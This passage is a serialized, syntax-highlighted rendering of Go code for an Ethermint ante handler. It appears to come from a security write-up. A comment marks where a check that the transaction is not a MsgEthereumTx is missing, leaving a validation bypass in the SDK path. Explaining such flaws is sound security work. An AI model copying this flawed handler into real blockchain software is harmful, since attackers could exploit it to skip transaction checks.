\"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[77303],{"type":19,"tag":27,"props":77304,"children":77305},{"__ignoreMap":7},[77306,77322,77347,77371,77388,77413,77439,77464,77487,77503,77559,77600,77626,77633,77679,77686,77732,77748,77778,77813,77865,77882,77890,77897,77926,77942,77950,77976,77984,77991,78003,78037,78083,78095,78102,78109,78116,78155,78162,78169,78176,78184,78191,78215,78239,78267,78292,78300,78333,78340,78352,78383,78438,78451,78459,78467,78475,78515,78523],{"type":19,"tag":168,"props":77307,"children":77308},{"class":170,"line":171},[77309,77313,77318],{"type":19,"tag":168,"props":77310,"children":77311},{"style":382},[77312],{"type":24,"value":73789},{"type":19,"tag":168,"props":77314,"children":77315},{"style":175},[77316],{"type":24,"value":77317}," NewAnteHandler",{"type":19,"tag":168,"props":77319,"children":77320},{"style":212},[77321],{"type":24,"value":870},{"type":19,"tag":168,"props":77323,"children":77324},{"class":170,"line":198},[77325,77330,77335,77339,77343],{"type":19,"tag":168,"props":77326,"children":77327},{"style":393},[77328],{"type":24,"value":77329}," ak",{"type":19,"tag":168,"props":77331,"children":77332},{"style":825},[77333],{"type":24,"value":77334}," evmtypes",{"type":19,"tag":168,"props":77336,"children":77337},{"style":212},[77338],{"type":24,"value":948},{"type":19,"tag":168,"props":77340,"children":77341},{"style":825},[77342],{"type":24,"value":76870},{"type":19,"tag":168,"props":77344,"children":77345},{"style":212},[77346],{"type":24,"value":915},{"type":19,"tag":168,"props":77348,"children":77349},{"class":170,"line":415},[77350,77355,77359,77363,77367],{"type":19,"tag":168,"props":77351,"children":77352},{"style":393},[77353],{"type":24,"value":77354}," bankKeeper",{"type":19,"tag":168,"props":77356,"children":77357},{"style":825},[77358],{"type":24,"value":77334},{"type":19,"tag":168,"props":77360,"children":77361},{"style":212},[77362],{"type":24,"value":948},{"type":19,"tag":168,"props":77364,"children":77365},{"style":825},[77366],{"type":24,"value":76943},{"type":19,"tag":168,"props":77368,"children":77369},{"style":212},[77370],{"type":24,"value":915},{"type":19,"tag":168,"props":77372,"children":77373},{"class":170,"line":450},[77374,77379,77384],{"type":19,"tag":168,"props":77375,"children":77376},{"style":393},[77377],{"type":24,"value":77378}," evmKeeper",{"type":19,"tag":168,"props":77380,"children":77381},{"style":825},[77382],{"type":24,"value":77383}," EVMKeeper",{"type":19,"tag":168,"props":77385,"children":77386},{"style":212},[77387],{"type":24,"value":915},{"type":19,"tag":168,"props":77389,"children":77390},{"class":170,"line":560},[77391,77396,77401,77405,77409],{"type":19,"tag":168,"props":77392,"children":77393},{"style":393},[77394],{"type":24,"value":77395}," feeGrantKeeper",{"type":19,"tag":168,"props":77397,"children":77398},{"style":825},[77399],{"type":24,"value":77400}," authante",{"type":19,"tag":168,"props":77402,"children":77403},{"style":212},[77404],{"type":24,"value":948},{"type":19,"tag":168,"props":77406,"children":77407},{"style":825},[77408],{"type":24,"value":76960},{"type":19,"tag":168,"props":77410,"children":77411},{"style":212},[77412],{"type":24,"value":915},{"type":19,"tag":168,"props":77414,"children":77415},{"class":170,"line":666},[77416,77421,77426,77430,77435],{"type":19,"tag":168,"props":77417,"children":77418},{"style":393},[77419],{"type":24,"value":77420}," channelKeeper",{"type":19,"tag":168,"props":77422,"children":77423},{"style":825},[77424],{"type":24,"value":77425}," channelkeeper",{"type":19,"tag":168,"props":77427,"children":77428},{"style":212},[77429],{"type":24,"value":948},{"type":19,"tag":168,"props":77431,"children":77432},{"style":825},[77433],{"type":24,"value":77434},"Keeper",{"type":19,"tag":168,"props":77436,"children":77437},{"style":212},[77438],{"type":24,"value":915},{"type":19,"tag":168,"props":77440,"children":77441},{"class":170,"line":694},[77442,77447,77452,77456,77460],{"type":19,"tag":168,"props":77443,"children":77444},{"style":393},[77445],{"type":24,"value":77446}," signModeHandler",{"type":19,"tag":168,"props":77448,"children":77449},{"style":825},[77450],{"type":24,"value":77451}," authsigning",{"type":19,"tag":168,"props":77453,"children":77454},{"style":212},[77455],{"type":24,"value":948},{"type":19,"tag":168,"props":77457,"children":77458},{"style":825},[77459],{"type":24,"value":77128},{"type":19,"tag":168,"props":77461,"children":77462},{"style":212},[77463],{"type":24,"value":915},{"type":19,"tag":168,"props":77465,"children":77466},{"class":170,"line":707},[77467,77471,77475,77479,77483],{"type":19,"tag":168,"props":77468,"children":77469},{"style":212},[77470],{"type":24,"value":481},{"type":19,"tag":168,"props":77472,"children":77473},{"style":825},[77474],{"type":24,"value":76219},{"type":19,"tag":168,"props":77476,"children":77477},{"style":212},[77478],{"type":24,"value":948},{"type":19,"tag":168,"props":77480,"children":77481},{"style":825},[77482],{"type":24,"value":75959},{"type":19,"tag":168,"props":77484,"children":77485},{"style":212},[77486],{"type":24,"value":691},{"type":19,"tag":168,"props":77488,"children":77489},{"class":170,"line":725},[77490,77494,77499],{"type":19,"tag":168,"props":77491,"children":77492},{"style":419},[77493],{"type":24,"value":14438},{"type":19,"tag":168,"props":77495,"children":77496},{"style":382},[77497],{"type":24,"value":77498}," func",{"type":19,"tag":168,"props":77500,"children":77501},{"style":212},[77502],{"type":24,"value":870},{"type":19,"tag":168,"props":77504,"children":77505},{"class":170,"line":746},[77506,77510,77514,77518,77522,77526,77530,77534,77538,77542,77546,77551,77555],{"type":19,"tag":168,"props":77507,"children":77508},{"style":393},[77509],{"type":24,"value":23654},{"type":19,"tag":168,"props":77511,"children":77512},{"style":825},[77513],{"type":24,"value":76130},{"type":19,"tag":168,"props":77515,"children":77516},{"style":212},[77517],{"type":24,"value":948},{"type":19,"tag":168,"props":77519,"children":77520},{"style":825},[77521],{"type":24,"value":73838},{"type":19,"tag":168,"props":77523,"children":77524},{"style":212},[77525],{"type":24,"value":471},{"type":19,"tag":168,"props":77527,"children":77528},{"style":393},[77529],{"type":24,"value":76670},{"type":19,"tag":168,"props":77531,"children":77532},{"style":825},[77533],{"type":24,"value":76130},{"type":19,"tag":168,"props":77535,"children":77536},{"style":212},[77537],{"type":24,"value":948},{"type":19,"tag":168,"props":77539,"children":77540},{"style":825},[77541],{"type":24,"value":76163},{"type":19,"tag":168,"props":77543,"children":77544},{"style":212},[77545],{"type":24,"value":471},{"type":19,"tag":168,"props":77547,"children":77548},{"style":393},[77549],{"type":24,"value":77550},"sim",{"type":19,"tag":168,"props":77552,"children":77553},{"style":825},[77554],{"type":24,"value":9495},{"type":19,"tag":168,"props":77556,"children":77557},{"style":212},[77558],{"type":24,"value":915},{"type":19,"tag":168,"props":77560,"children":77561},{"class":170,"line":755},[77562,77567,77572,77576,77580,77584,77588,77592,77596],{"type":19,"tag":168,"props":77563,"children":77564},{"style":212},[77565],{"type":24,"value":77566}," ) (",{"type":19,"tag":168,"props":77568,"children":77569},{"style":393},[77570],{"type":24,"value":77571},"newCtx",{"type":19,"tag":168,"props":77573,"children":77574},{"style":825},[77575],{"type":24,"value":76130},{"type":19,"tag":168,"props":77577,"children":77578},{"style":212},[77579],{"type":24,"value":948},{"type":19,"tag":168,"props":77581,"children":77582},{"style":825},[77583],{"type":24,"value":73838},{"type":19,"tag":168,"props":77585,"children":77586},{"style":212},[77587],{"type":24,"value":471},{"type":19,"tag":168,"props":77589,"children":77590},{"style":393},[77591],{"type":24,"value":45902},{"type":19,"tag":168,"props":77593,"children":77594},{"style":825},[77595],{"type":24,"value":12323},{"type":19,"tag":168,"props":77597,"children":77598},{"style":212},[77599],{"type":24,"value":12250},{"type":19,"tag":168,"props":77601,"children":77602},{"class":170,"line":1008},[77603,77608,77613,77617,77621],{"type":19,"tag":168,"props":77604,"children":77605},{"style":382},[77606],{"type":24,"value":77607}," var",{"type":19,"tag":168,"props":77609,"children":77610},{"style":393},[77611],{"type":24,"value":77612}," anteHandler",{"type":19,"tag":168,"props":77614,"children":77615},{"style":825},[77616],{"type":24,"value":76130},{"type":19,"tag":168,"props":77618,"children":77619},{"style":212},[77620],{"type":24,"value":948},{"type":19,"tag":168,"props":77622,"children":77623},{"style":825},[77624],{"type":24,"value":77625},"AnteHandler\n",{"type":19,"tag":168,"props":77627,"children":77628},{"class":170,"line":1025},[77629],{"type":19,"tag":168,"props":77630,"children":77631},{"emptyLinePlaceholder":14},[77632],{"type":24,"value":1093},{"type":19,"tag":168,"props":77634,"children":77635},{"class":170,"line":1042},[77636,77641,77646,77650,77654,77658,77663,77667,77671,77675],{"type":19,"tag":168,"props":77637,"children":77638},{"style":419},[77639],{"type":24,"value":77640}," defer",{"type":19,"tag":168,"props":77642,"children":77643},{"style":175},[77644],{"type":24,"value":77645}," Recover",{"type":19,"tag":168,"props":77647,"children":77648},{"style":212},[77649],{"type":24,"value":500},{"type":19,"tag":168,"props":77651,"children":77652},{"style":393},[77653],{"type":24,"value":17735},{"type":19,"tag":168,"props":77655,"children":77656},{"style":212},[77657],{"type":24,"value":948},{"type":19,"tag":168,"props":77659,"children":77660},{"style":175},[77661],{"type":24,"value":77662},"Logger",{"type":19,"tag":168,"props":77664,"children":77665},{"style":212},[77666],{"type":24,"value":15826},{"type":19,"tag":168,"props":77668,"children":77669},{"style":399},[77670],{"type":24,"value":505},{"type":19,"tag":168,"props":77672,"children":77673},{"style":393},[77674],{"type":24,"value":45902},{"type":19,"tag":168,"props":77676,"children":77677},{"style":212},[77678],{"type":24,"value":557},{"type":19,"tag":168,"props":77680,"children":77681},{"class":170,"line":1055},[77682],{"type":19,"tag":168,"props":77683,"children":77684},{"emptyLinePlaceholder":14},[77685],{"type":24,"value":1093},{"type":19,"tag":168,"props":77687,"children":77688},{"class":170,"line":1064},[77689,77694,77698,77702,77706,77710,77714,77719,77723,77728],{"type":19,"tag":168,"props":77690,"children":77691},{"style":393},[77692],{"type":24,"value":77693}," txWithExtensions",{"type":19,"tag":168,"props":77695,"children":77696},{"style":212},[77697],{"type":24,"value":471},{"type":19,"tag":168,"props":77699,"children":77700},{"style":393},[77701],{"type":24,"value":76256},{"type":19,"tag":168,"props":77703,"children":77704},{"style":399},[77705],{"type":24,"value":73905},{"type":19,"tag":168,"props":77707,"children":77708},{"style":393},[77709],{"type":24,"value":65514},{"type":19,"tag":168,"props":77711,"children":77712},{"style":212},[77713],{"type":24,"value":76269},{"type":19,"tag":168,"props":77715,"children":77716},{"style":825},[77717],{"type":24,"value":77718},"authante",{"type":19,"tag":168,"props":77720,"children":77721},{"style":212},[77722],{"type":24,"value":948},{"type":19,"tag":168,"props":77724,"children":77725},{"style":825},[77726],{"type":24,"value":77727},"HasExtensionOptionsTx",{"type":19,"tag":168,"props":77729,"children":77730},{"style":212},[77731],{"type":24,"value":557},{"type":19,"tag":168,"props":77733,"children":77734},{"class":170,"line":1087},[77735,77739,77744],{"type":19,"tag":168,"props":77736,"children":77737},{"style":419},[77738],{"type":24,"value":672},{"type":19,"tag":168,"props":77740,"children":77741},{"style":393},[77742],{"type":24,"value":77743}," ok",{"type":19,"tag":168,"props":77745,"children":77746},{"style":212},[77747],{"type":24,"value":691},{"type":19,"tag":168,"props":77749,"children":77750},{"class":170,"line":1096},[77751,77756,77760,77765,77769,77774],{"type":19,"tag":168,"props":77752,"children":77753},{"style":393},[77754],{"type":24,"value":77755}," opts",{"type":19,"tag":168,"props":77757,"children":77758},{"style":399},[77759],{"type":24,"value":73905},{"type":19,"tag":168,"props":77761,"children":77762},{"style":393},[77763],{"type":24,"value":77764}," txWithExtensions",{"type":19,"tag":168,"props":77766,"children":77767},{"style":212},[77768],{"type":24,"value":948},{"type":19,"tag":168,"props":77770,"children":77771},{"style":175},[77772],{"type":24,"value":77773},"GetExtensionOptions",{"type":19,"tag":168,"props":77775,"children":77776},{"style":212},[77777],{"type":24,"value":5172},{"type":19,"tag":168,"props":77779,"children":77780},{"class":170,"line":1105},[77781,77785,77789,77793,77797,77801,77805,77809],{"type":19,"tag":168,"props":77782,"children":77783},{"style":419},[77784],{"type":24,"value":56285},{"type":19,"tag":168,"props":77786,"children":77787},{"style":175},[77788],{"type":24,"value":5995},{"type":19,"tag":168,"props":77790,"children":77791},{"style":212},[77792],{"type":24,"value":500},{"type":19,"tag":168,"props":77794,"children":77795},{"style":393},[77796],{"type":24,"value":46044},{"type":19,"tag":168,"props":77798,"children":77799},{"style":212},[77800],{"type":24,"value":481},{"type":19,"tag":168,"props":77802,"children":77803},{"style":399},[77804],{"type":24,"value":7905},{"type":19,"tag":168,"props":77806,"children":77807},{"style":192},[77808],{"type":24,"value":437},{"type":19,"tag":168,"props":77810,"children":77811},{"style":212},[77812],{"type":24,"value":691},{"type":19,"tag":168,"props":77814,"children":77815},{"class":170,"line":1174},[77816,77821,77826,77830,77835,77839,77843,77847,77852,77856,77861],{"type":19,"tag":168,"props":77817,"children":77818},{"style":419},[77819],{"type":24,"value":77820}," switch",{"type":19,"tag":168,"props":77822,"children":77823},{"style":393},[77824],{"type":24,"value":77825}," typeURL",{"type":19,"tag":168,"props":77827,"children":77828},{"style":399},[77829],{"type":24,"value":73905},{"type":19,"tag":168,"props":77831,"children":77832},{"style":393},[77833],{"type":24,"value":77834}," opts",{"type":19,"tag":168,"props":77836,"children":77837},{"style":212},[77838],{"type":24,"value":1152},{"type":19,"tag":168,"props":77840,"children":77841},{"style":192},[77842],{"type":24,"value":1452},{"type":19,"tag":168,"props":77844,"children":77845},{"style":212},[77846],{"type":24,"value":47831},{"type":19,"tag":168,"props":77848,"children":77849},{"style":175},[77850],{"type":24,"value":77851},"GetTypeUrl",{"type":19,"tag":168,"props":77853,"children":77854},{"style":212},[77855],{"type":24,"value":25917},{"type":19,"tag":168,"props":77857,"children":77858},{"style":393},[77859],{"type":24,"value":77860},"typeURL",{"type":19,"tag":168,"props":77862,"children":77863},{"style":212},[77864],{"type":24,"value":691},{"type":19,"tag":168,"props":77866,"children":77867},{"class":170,"line":1182},[77868,77873,77878],{"type":19,"tag":168,"props":77869,"children":77870},{"style":419},[77871],{"type":24,"value":77872}," case",{"type":19,"tag":168,"props":77874,"children":77875},{"style":181},[77876],{"type":24,"value":77877}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":19,"tag":168,"props":77879,"children":77880},{"style":212},[77881],{"type":24,"value":3001},{"type":19,"tag":168,"props":77883,"children":77884},{"class":170,"line":1212},[77885],{"type":19,"tag":168,"props":77886,"children":77887},{"style":373},[77888],{"type":24,"value":77889}," // handle as *evmtypes.MsgEthereumTx\n",{"type":19,"tag":168,"props":77891,"children":77892},{"class":170,"line":1220},[77893],{"type":19,"tag":168,"props":77894,"children":77895},{"emptyLinePlaceholder":14},[77896],{"type":24,"value":1093},{"type":19,"tag":168,"props":77898,"children":77899},{"class":170,"line":1252},[77900,77905,77909,77913,77917,77922],{"type":19,"tag":168,"props":77901,"children":77902},{"style":393},[77903],{"type":24,"value":77904}," anteHandler",{"type":19,"tag":168,"props":77906,"children":77907},{"style":399},[77908],{"type":24,"value":402},{"type":19,"tag":168,"props":77910,"children":77911},{"style":393},[77912],{"type":24,"value":76130},{"type":19,"tag":168,"props":77914,"children":77915},{"style":212},[77916],{"type":24,"value":948},{"type":19,"tag":168,"props":77918,"children":77919},{"style":175},[77920],{"type":24,"value":77921},"ChainAnteDecorators",{"type":19,"tag":168,"props":77923,"children":77924},{"style":212},[77925],{"type":24,"value":870},{"type":19,"tag":168,"props":77927,"children":77928},{"class":170,"line":1260},[77929,77934,77938],{"type":19,"tag":168,"props":77930,"children":77931},{"style":175},[77932],{"type":24,"value":77933}," NewEthSetUpContextDecorator",{"type":19,"tag":168,"props":77935,"children":77936},{"style":212},[77937],{"type":24,"value":15826},{"type":19,"tag":168,"props":77939,"children":77940},{"style":373},[77941],{"type":24,"value":76784},{"type":19,"tag":168,"props":77943,"children":77944},{"class":170,"line":1320},[77945],{"type":19,"tag":168,"props":77946,"children":77947},{"style":399},[77948],{"type":24,"value":77949}," ...\n",{"type":19,"tag":168,"props":77951,"children":77952},{"class":170,"line":6486},[77953,77958,77962,77967,77971],{"type":19,"tag":168,"props":77954,"children":77955},{"style":175},[77956],{"type":24,"value":77957}," NewEthIncrementSenderSequenceDecorator",{"type":19,"tag":168,"props":77959,"children":77960},{"style":212},[77961],{"type":24,"value":500},{"type":19,"tag":168,"props":77963,"children":77964},{"style":393},[77965],{"type":24,"value":77966},"ak",{"type":19,"tag":168,"props":77968,"children":77969},{"style":212},[77970],{"type":24,"value":12624},{"type":19,"tag":168,"props":77972,"children":77973},{"style":373},[77974],{"type":24,"value":77975},"// innermost AnteDecorator.\n",{"type":19,"tag":168,"props":77977,"children":77978},{"class":170,"line":6504},[77979],{"type":19,"tag":168,"props":77980,"children":77981},{"style":212},[77982],{"type":24,"value":77983}," )\n",{"type":19,"tag":168,"props":77985,"children":77986},{"class":170,"line":6549},[77987],{"type":19,"tag":168,"props":77988,"children":77989},{"emptyLinePlaceholder":14},[77990],{"type":24,"value":1093},{"type":19,"tag":168,"props":77992,"children":77993},{"class":170,"line":6655},[77994,77999],{"type":19,"tag":168,"props":77995,"children":77996},{"style":419},[77997],{"type":24,"value":77998}," default",{"type":19,"tag":168,"props":78000,"children":78001},{"style":212},[78002],{"type":24,"value":3001},{"type":19,"tag":168,"props":78004,"children":78005},{"class":170,"line":20965},[78006,78011,78015,78019,78024,78028,78033],{"type":19,"tag":168,"props":78007,"children":78008},{"style":419},[78009],{"type":24,"value":78010}," return",{"type":19,"tag":168,"props":78012,"children":78013},{"style":393},[78014],{"type":24,"value":23311},{"type":19,"tag":168,"props":78016,"children":78017},{"style":212},[78018],{"type":24,"value":471},{"type":19,"tag":168,"props":78020,"children":78021},{"style":393},[78022],{"type":24,"value":78023},"stacktrace",{"type":19,"tag":168,"props":78025,"children":78026},{"style":212},[78027],{"type":24,"value":948},{"type":19,"tag":168,"props":78029,"children":78030},{"style":175},[78031],{"type":24,"value":78032},"Propagate",{"type":19,"tag":168,"props":78034,"children":78035},{"style":212},[78036],{"type":24,"value":870},{"type":19,"tag":168,"props":78038,"children":78039},{"class":170,"line":21000},[78040,78045,78049,78053,78057,78062,78066,78071,78075,78079],{"type":19,"tag":168,"props":78041,"children":78042},{"style":393},[78043],{"type":24,"value":78044}," sdkerrors",{"type":19,"tag":168,"props":78046,"children":78047},{"style":212},[78048],{"type":24,"value":948},{"type":19,"tag":168,"props":78050,"children":78051},{"style":175},[78052],{"type":24,"value":76335},{"type":19,"tag":168,"props":78054,"children":78055},{"style":212},[78056],{"type":24,"value":500},{"type":19,"tag":168,"props":78058,"children":78059},{"style":393},[78060],{"type":24,"value":78061},"sdkerrors",{"type":19,"tag":168,"props":78063,"children":78064},{"style":212},[78065],{"type":24,"value":948},{"type":19,"tag":168,"props":78067,"children":78068},{"style":393},[78069],{"type":24,"value":78070},"ErrUnknownExtensionOptions",{"type":19,"tag":168,"props":78072,"children":78073},{"style":212},[78074],{"type":24,"value":471},{"type":19,"tag":168,"props":78076,"children":78077},{"style":393},[78078],{"type":24,"value":77860},{"type":19,"tag":168,"props":78080,"children":78081},{"style":212},[78082],{"type":24,"value":4172},{"type":19,"tag":168,"props":78084,"children":78085},{"class":170,"line":21008},[78086,78091],{"type":19,"tag":168,"props":78087,"children":78088},{"style":181},[78089],{"type":24,"value":78090}," \"rejecting tx with unsupported extension option\"",{"type":19,"tag":168,"props":78092,"children":78093},{"style":212},[78094],{"type":24,"value":915},{"type":19,"tag":168,"props":78096,"children":78097},{"class":170,"line":21016},[78098],{"type":19,"tag":168,"props":78099,"children":78100},{"style":212},[78101],{"type":24,"value":77983},{"type":19,"tag":168,"props":78103,"children":78104},{"class":170,"line":21025},[78105],{"type":19,"tag":168,"props":78106,"children":78107},{"style":212},[78108],{"type":24,"value":68558},{"type":19,"tag":168,"props":78110,"children":78111},{"class":170,"line":21067},[78112],{"type":19,"tag":168,"props":78113,"children":78114},{"emptyLinePlaceholder":14},[78115],{"type":24,"value":1093},{"type":19,"tag":168,"props":78117,"children":78118},{"class":170,"line":21100},[78119,78123,78127,78131,78135,78139,78143,78147,78151],{"type":19,"tag":168,"props":78120,"children":78121},{"style":419},[78122],{"type":24,"value":58213},{"type":19,"tag":168,"props":78124,"children":78125},{"style":175},[78126],{"type":24,"value":77612},{"type":19,"tag":168,"props":78128,"children":78129},{"style":212},[78130],{"type":24,"value":500},{"type":19,"tag":168,"props":78132,"children":78133},{"style":393},[78134],{"type":24,"value":17735},{"type":19,"tag":168,"props":78136,"children":78137},{"style":212},[78138],{"type":24,"value":471},{"type":19,"tag":168,"props":78140,"children":78141},{"style":393},[78142],{"type":24,"value":76670},{"type":19,"tag":168,"props":78144,"children":78145},{"style":212},[78146],{"type":24,"value":471},{"type":19,"tag":168,"props":78148,"children":78149},{"style":393},[78150],{"type":24,"value":77550},{"type":19,"tag":168,"props":78152,"children":78153},{"style":212},[78154],{"type":24,"value":557},{"type":19,"tag":168,"props":78156,"children":78157},{"class":170,"line":21108},[78158],{"type":19,"tag":168,"props":78159,"children":78160},{"style":212},[78161],{"type":24,"value":56369},{"type":19,"tag":168,"props":78163,"children":78164},{"class":170,"line":21116},[78165],{"type":19,"tag":168,"props":78166,"children":78167},{"style":212},[78168],{"type":24,"value":752},{"type":19,"tag":168,"props":78170,"children":78171},{"class":170,"line":21125},[78172],{"type":19,"tag":168,"props":78173,"children":78174},{"emptyLinePlaceholder":14},[78175],{"type":24,"value":1093},{"type":19,"tag":168,"props":78177,"children":78178},{"class":170,"line":21201},[78179],{"type":19,"tag":168,"props":78180,"children":78181},{"style":373},[78182],{"type":24,"value":78183}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":19,"tag":168,"props":78185,"children":78186},{"class":170,"line":21234},[78187],{"type":19,"tag":168,"props":78188,"children":78189},{"emptyLinePlaceholder":14},[78190],{"type":24,"value":1093},{"type":19,"tag":168,"props":78192,"children":78193},{"class":170,"line":21242},[78194,78199,78203,78207,78211],{"type":19,"tag":168,"props":78195,"children":78196},{"style":419},[78197],{"type":24,"value":78198}," switch",{"type":19,"tag":168,"props":78200,"children":78201},{"style":393},[78202],{"type":24,"value":65514},{"type":19,"tag":168,"props":78204,"children":78205},{"style":212},[78206],{"type":24,"value":76269},{"type":19,"tag":168,"props":78208,"children":78209},{"style":382},[78210],{"type":24,"value":30229},{"type":19,"tag":168,"props":78212,"children":78213},{"style":212},[78214],{"type":24,"value":12250},{"type":19,"tag":168,"props":78216,"children":78217},{"class":170,"line":21250},[78218,78223,78227,78231,78235],{"type":19,"tag":168,"props":78219,"children":78220},{"style":419},[78221],{"type":24,"value":78222}," case",{"type":19,"tag":168,"props":78224,"children":78225},{"style":825},[78226],{"type":24,"value":76130},{"type":19,"tag":168,"props":78228,"children":78229},{"style":212},[78230],{"type":24,"value":948},{"type":19,"tag":168,"props":78232,"children":78233},{"style":825},[78234],{"type":24,"value":76163},{"type":19,"tag":168,"props":78236,"children":78237},{"style":212},[78238],{"type":24,"value":3001},{"type":19,"tag":168,"props":78240,"children":78241},{"class":170,"line":21287},[78242,78247,78251,78255,78259,78263],{"type":19,"tag":168,"props":78243,"children":78244},{"style":393},[78245],{"type":24,"value":78246}," anteHandler",{"type":19,"tag":168,"props":78248,"children":78249},{"style":399},[78250],{"type":24,"value":402},{"type":19,"tag":168,"props":78252,"children":78253},{"style":393},[78254],{"type":24,"value":76130},{"type":19,"tag":168,"props":78256,"children":78257},{"style":212},[78258],{"type":24,"value":948},{"type":19,"tag":168,"props":78260,"children":78261},{"style":175},[78262],{"type":24,"value":77921},{"type":19,"tag":168,"props":78264,"children":78265},{"style":212},[78266],{"type":24,"value":870},{"type":19,"tag":168,"props":78268,"children":78269},{"class":170,"line":21300},[78270,78275,78279,78284,78288],{"type":19,"tag":168,"props":78271,"children":78272},{"style":393},[78273],{"type":24,"value":78274}," authante",{"type":19,"tag":168,"props":78276,"children":78277},{"style":212},[78278],{"type":24,"value":948},{"type":19,"tag":168,"props":78280,"children":78281},{"style":175},[78282],{"type":24,"value":78283},"NewSetUpContextDecorator",{"type":19,"tag":168,"props":78285,"children":78286},{"style":212},[78287],{"type":24,"value":15826},{"type":19,"tag":168,"props":78289,"children":78290},{"style":373},[78291],{"type":24,"value":76784},{"type":19,"tag":168,"props":78293,"children":78294},{"class":170,"line":21313},[78295],{"type":19,"tag":168,"props":78296,"children":78297},{"style":399},[78298],{"type":24,"value":78299}," ...\n",{"type":19,"tag":168,"props":78301,"children":78302},{"class":170,"line":21326},[78303,78307,78311,78316,78320,78324,78328],{"type":19,"tag":168,"props":78304,"children":78305},{"style":393},[78306],{"type":24,"value":78274},{"type":19,"tag":168,"props":78308,"children":78309},{"style":212},[78310],{"type":24,"value":948},{"type":19,"tag":168,"props":78312,"children":78313},{"style":175},[78314],{"type":24,"value":78315},"NewIncrementSequenceDecorator",{"type":19,"tag":168,"props":78317,"children":78318},{"style":212},[78319],{"type":24,"value":500},{"type":19,"tag":168,"props":78321,"children":78322},{"style":393},[78323],{"type":24,"value":77966},{"type":19,"tag":168,"props":78325,"children":78326},{"style":212},[78327],{"type":24,"value":12624},{"type":19,"tag":168,"props":78329,"children":78330},{"style":373},[78331],{"type":24,"value":78332},"// innermost AnteDecorator\n",{"type":19,"tag":168,"props":78334,"children":78335},{"class":170,"line":21380},[78336],{"type":19,"tag":168,"props":78337,"children":78338},{"style":212},[78339],{"type":24,"value":75004},{"type":19,"tag":168,"props":78341,"children":78342},{"class":170,"line":21389},[78343,78348],{"type":19,"tag":168,"props":78344,"children":78345},{"style":419},[78346],{"type":24,"value":78347}," default",{"type":19,"tag":168,"props":78349,"children":78350},{"style":212},[78351],{"type":24,"value":3001},{"type":19,"tag":168,"props":78353,"children":78354},{"class":170,"line":29753},[78355,78359,78363,78367,78371,78375,78379],{"type":19,"tag":168,"props":78356,"children":78357},{"style":419},[78358],{"type":24,"value":76565},{"type":19,"tag":168,"props":78360,"children":78361},{"style":393},[78362],{"type":24,"value":23311},{"type":19,"tag":168,"props":78364,"children":78365},{"style":212},[78366],{"type":24,"value":471},{"type":19,"tag":168,"props":78368,"children":78369},{"style":393},[78370],{"type":24,"value":78023},{"type":19,"tag":168,"props":78372,"children":78373},{"style":212},[78374],{"type":24,"value":948},{"type":19,"tag":168,"props":78376,"children":78377},{"style":175},[78378],{"type":24,"value":78032},{"type":19,"tag":168,"props":78380,"children":78381},{"style":212},[78382],{"type":24,"value":870},{"type":19,"tag":168,"props":78384,"children":78385},{"class":170,"line":29774},[78386,78391,78395,78400,78404,78408,78412,78417,78421,78426,78430,78434],{"type":19,"tag":168,"props":78387,"children":78388},{"style":393},[78389],{"type":24,"value":78390}," sdkerrors",{"type":19,"tag":168,"props":78392,"children":78393},{"style":212},[78394],{"type":24,"value":948},{"type":19,"tag":168,"props":78396,"children":78397},{"style":175},[78398],{"type":24,"value":78399},"Wrapf",{"type":19,"tag":168,"props":78401,"children":78402},{"style":212},[78403],{"type":24,"value":500},{"type":19,"tag":168,"props":78405,"children":78406},{"style":393},[78407],{"type":24,"value":78061},{"type":19,"tag":168,"props":78409,"children":78410},{"style":212},[78411],{"type":24,"value":948},{"type":19,"tag":168,"props":78413,"children":78414},{"style":393},[78415],{"type":24,"value":78416},"ErrUnknownRequest",{"type":19,"tag":168,"props":78418,"children":78419},{"style":212},[78420],{"type":24,"value":471},{"type":19,"tag":168,"props":78422,"children":78423},{"style":181},[78424],{"type":24,"value":78425},"\"invalid transaction type: %T\"",{"type":19,"tag":168,"props":78427,"children":78428},{"style":212},[78429],{"type":24,"value":471},{"type":19,"tag":168,"props":78431,"children":78432},{"style":393},[78433],{"type":24,"value":76670},{"type":19,"tag":168,"props":78435,"children":78436},{"style":212},[78437],{"type":24,"value":4172},{"type":19,"tag":168,"props":78439,"children":78441},{"class":170,"line":78440},53,[78442,78447],{"type":19,"tag":168,"props":78443,"children":78444},{"style":181},[78445],{"type":24,"value":78446}," \"transaction is not an SDK tx\"",{"type":19,"tag":168,"props":78448,"children":78449},{"style":212},[78450],{"type":24,"value":915},{"type":19,"tag":168,"props":78452,"children":78454},{"class":170,"line":78453},54,[78455],{"type":19,"tag":168,"props":78456,"children":78457},{"style":212},[78458],{"type":24,"value":75004},{"type":19,"tag":168,"props":78460,"children":78462},{"class":170,"line":78461},55,[78463],{"type":19,"tag":168,"props":78464,"children":78465},{"style":212},[78466],{"type":24,"value":752},{"type":19,"tag":168,"props":78468,"children":78470},{"class":170,"line":78469},56,[78471],{"type":19,"tag":168,"props":78472,"children":78473},{"emptyLinePlaceholder":14},[78474],{"type":24,"value":1093},{"type":19,"tag":168,"props":78476,"children":78478},{"class":170,"line":78477},57,[78479,78483,78487,78491,78495,78499,78503,78507,78511],{"type":19,"tag":168,"props":78480,"children":78481},{"style":419},[78482],{"type":24,"value":13192},{"type":19,"tag":168,"props":78484,"children":78485},{"style":175},[78486],{"type":24,"value":77612},{"type":19,"tag":168,"props":78488,"children":78489},{"style":212},[78490],{"type":24,"value":500},{"type":19,"tag":168,"props":78492,"children":78493},{"style":393},[78494],{"type":24,"value":17735},{"type":19,"tag":168,"props":78496,"children":78497},{"style":212},[78498],{"type":24,"value":471},{"type":19,"tag":168,"props":78500,"children":78501},{"style":393},[78502],{"type":24,"value":76670},{"type":19,"tag":168,"props":78504,"children":78505},{"style":212},[78506],{"type":24,"value":471},{"type":19,"tag":168,"props":78508,"children":78509},{"style":393},[78510],{"type":24,"value":77550},{"type":19,"tag":168,"props":78512,"children":78513},{"style":212},[78514],{"type":24,"value":557},{"type":19,"tag":168,"props":78516,"children":78518},{"class":170,"line":78517},58,[78519],{"type":19,"tag":168,"props":78520,"children":78521},{"style":212},[78522],{"type":24,"value":761},{"type":19,"tag":168,"props":78524,"children":78526},{"class":170,"line":78525},59,[78527],{"type":19,"tag":168,"props":78528,"children":78529},{"style":212},[78530],{"type":24,"value":1326},{"type":19,"tag":20,"props":78532,"